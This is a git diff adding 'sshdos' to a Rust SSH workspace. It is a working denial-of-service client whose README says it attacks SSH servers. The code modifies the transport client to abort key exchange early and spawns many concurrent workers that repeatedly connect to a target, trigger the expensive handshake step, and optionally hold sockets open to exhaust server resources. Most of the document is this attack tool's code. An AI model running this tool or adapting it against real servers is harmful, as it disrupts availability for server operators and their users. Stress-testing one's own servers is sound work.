diff --git a/Cargo.lock b/Cargo.lock index c7f6446..017b04a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -447,6 +447,95 @@ version = "0.2.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" +[[package]] +name = "futures" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + [[package]] name = "generic-array" version = "0.14.7" @@ -710,6 +799,12 @@ version = "0.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02" +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + [[package]] name = "pkcs8" version = "0.10.2" @@ -1017,6 +1112,15 @@ dependencies = [ "rand_core", ] +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + [[package]] name = "smallvec" version = "1.13.2" @@ -1096,6 +1200,22 @@ dependencies = [ "x25519-dalek", ] +[[package]] +name = "sshdos" +version = "0.1.0" +dependencies = [ + "clap", + "eyre", + "futures", + "rand", + "rpassword", + "ssh-protocol", + "ssh-transport", + "tokio", + "tracing", + "tracing-subscriber", +] + [[package]] name = "strsim" version = "0.11.1" diff --git a/Cargo.toml b/Cargo.toml index 037aed0..217205a 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,5 +1,12 @@ [workspace] -members = ["fakesshd", "ssh", "ssh-connection", "ssh-protocol", "ssh-transport"] +members = [ + "fakesshd", + "ssh", + "sshdos", + "ssh-connection", + "ssh-protocol", + "ssh-transport", +] resolver = "2" [workspace.dependencies] diff --git a/ssh-transport/src/client.rs b/ssh-transport/src/client.rs index dd4e6d4..ae45553 100644 --- a/ssh-transport/src/client.rs +++ b/ssh-transport/src/client.rs @@ -19,6 +19,8 @@ pub struct ClientConnection { rng: Box, plaintext_packets: VecDeque, + + pub abort_for_dos: bool, } enum ClientState { @@ -67,6 +69,7 @@ impl ClientConnection { rng: Box::new(rng), plaintext_packets: VecDeque::new(), + abort_for_dos: false, } } @@ -215,6 +218,10 @@ impl ClientConnection { )); } + if self.abort_for_dos { + return Err(peer_error!("early abort")); + } + let server_hostkey = dh.string()?; let server_ephermal_key = dh.string()?; let signature = dh.string()?; diff --git a/sshdos/Cargo.toml b/sshdos/Cargo.toml new file mode 100644 index 0000000..5a97a83 --- /dev/null +++ b/sshdos/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "sshdos" +version = "0.1.0" +edition = "2021" + +[dependencies] +ssh-protocol = { path = "../ssh-protocol" } +ssh-transport = { path = "../ssh-transport" } +clap = { version = "4.5.15", features = ["derive"] } +eyre = "0.6.12" +rand = "0.8.5" +tokio = { version = "1.39.2", features = ["full"] } +tracing-subscriber = { version = "0.3.18", features = ["json", "env-filter"] } + +tracing.workspace = true +rpassword = "7.3.1" +futures = "0.3.30" diff --git a/sshdos/README.md b/sshdos/README.md new file mode 100644 index 0000000..391007d --- /dev/null +++ b/sshdos/README.md @@ -0,0 +1,4 @@ +# ssh + +An SSH client that tries to execute a DoS attack against a server. +**Only use this against your own servers!!** diff --git a/sshdos/src/main.rs b/sshdos/src/main.rs new file mode 100644 index 0000000..8643b0f --- /dev/null +++ b/sshdos/src/main.rs @@ -0,0 +1,183 @@ +use std::{ + io::Write, + sync::{ + atomic::{AtomicUsize, Ordering}, + Arc, + }, + time::Duration, +}; + +use clap::Parser; + +use eyre::Context; +use rand::RngCore; +use tokio::{ + io::{AsyncReadExt, AsyncWriteExt}, + net::TcpStream, +}; +use tracing::{debug, error, info}; + +use ssh_protocol::{ + transport::{self}, + SshStatus, +}; +use tracing_subscriber::EnvFilter; + +struct ThreadRngRand; +impl ssh_protocol::transport::SshRng for ThreadRngRand { + fn fill_bytes(&mut self, dest: &mut [u8]) { + rand::thread_rng().fill_bytes(dest); + } +} + +#[derive(clap::Parser, Debug, Clone)] +struct Args { + #[arg(short = 'p', long, default_value_t = 22)] + port: u16, + #[arg(short = 't', long, default_value_t = 16)] + threads: usize, + #[arg(short = 'd', long, default_value_t = 1.0)] + delay: f32, + #[arg(short = 'c', long)] + chill: bool, + destination: String, + command: Vec, +} + +enum Operation { + PasswordEntered(std::io::Result), +} + +#[tokio::main] +async fn main() -> eyre::Result<()> { + let args = Args::parse(); + + let env_filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("info")); + tracing_subscriber::fmt().with_env_filter(env_filter).init(); + + let counter = Arc::new(AtomicUsize::new(0)); + + let mut handles = Vec::new(); + + for i in 0..args.threads { + info!("Starting worker {i}"); + + let args = args.clone(); + let counter = counter.clone(); + let handle = tokio::spawn(async move { + loop { + let result = execute_attempt(&args).await; + counter.fetch_add(1, Ordering::Relaxed); + tokio::time::sleep(Duration::from_secs_f32(args.delay)).await; + info!( + "Executed attempt {} on worker {i} with output {result:?}", + counter.load(Ordering::Relaxed) + ); + } + }); + handles.push(handle); + } + + futures::future::join_all(handles).await; + + Ok(()) +} + +async fn execute_attempt(args: &Args) -> eyre::Result<()> { + let conn = TcpStream::connect(&format!("{}:{}", args.destination, args.port)).await?; + + let result = execute_attempt_inner(args, conn).await; + + if args.chill { + info!("Chilling, taking up space"); + tokio::time::sleep(Duration::from_secs(10)).await; + } + + result +} + +async fn execute_attempt_inner(args: &Args, mut conn: TcpStream) -> eyre::Result<()> { + let username = "dos"; + + let mut transport = transport::client::ClientConnection::new(ThreadRngRand); + transport.abort_for_dos = true; + + let mut state = ssh_protocol::ClientConnection::new( + transport, + ssh_protocol::auth::ClientAuth::new(username.as_bytes().to_vec()), + ); + + let (send_op, mut recv_op) = tokio::sync::mpsc::channel::(10); + + let mut buf = [0; 1024]; + + loop { + while let Some(msg) = state.next_msg_to_send() { + conn.write_all(&msg.to_bytes()) + .await + .wrap_err("writing response")?; + } + + if let Some(auth) = state.auth() { + for req in auth.user_requests() { + match req { + ssh_protocol::auth::ClientUserRequest::Password => { + let username = username.to_owned(); + let destination = args.destination.clone(); + let send_op = send_op.clone(); + std::thread::spawn(move || { + let password = rpassword::prompt_password(format!( + "{}@{}'s password: ", + username, destination + )); + let _ = send_op.blocking_send(Operation::PasswordEntered(password)); + }); + } + ssh_protocol::auth::ClientUserRequest::Banner(banner) => { + let banner = String::from_utf8_lossy(&banner); + std::io::stdout().write(&banner.as_bytes())?; + } + } + } + } + + tokio::select! { + read = conn.read(&mut buf) => { + let read = read.wrap_err("reading from connection")?; + if read == 0 { + info!("Did not read any bytes from TCP stream, EOF"); + return Ok(()); + } + if let Err(err) = state.recv_bytes(&buf[..read]) { + match err { + SshStatus::PeerError(err) => { + if err == "early abort" { + // Expected. + return Ok(()); + } + error!(?err, "disconnecting client after invalid operation"); + return Ok(()); + } + SshStatus::Disconnect => { + error!("Received disconnect from server"); + return Ok(()); + } + } + } + } + op = recv_op.recv() => { + match op { + Some(Operation::PasswordEntered(password)) => { + if let Some(auth) = state.auth() { + auth.send_password(&password?); + } else { + debug!("Ignoring entered password as the state has moved on"); + } + } + None => {} + } + state.progress(); + } + } + } +}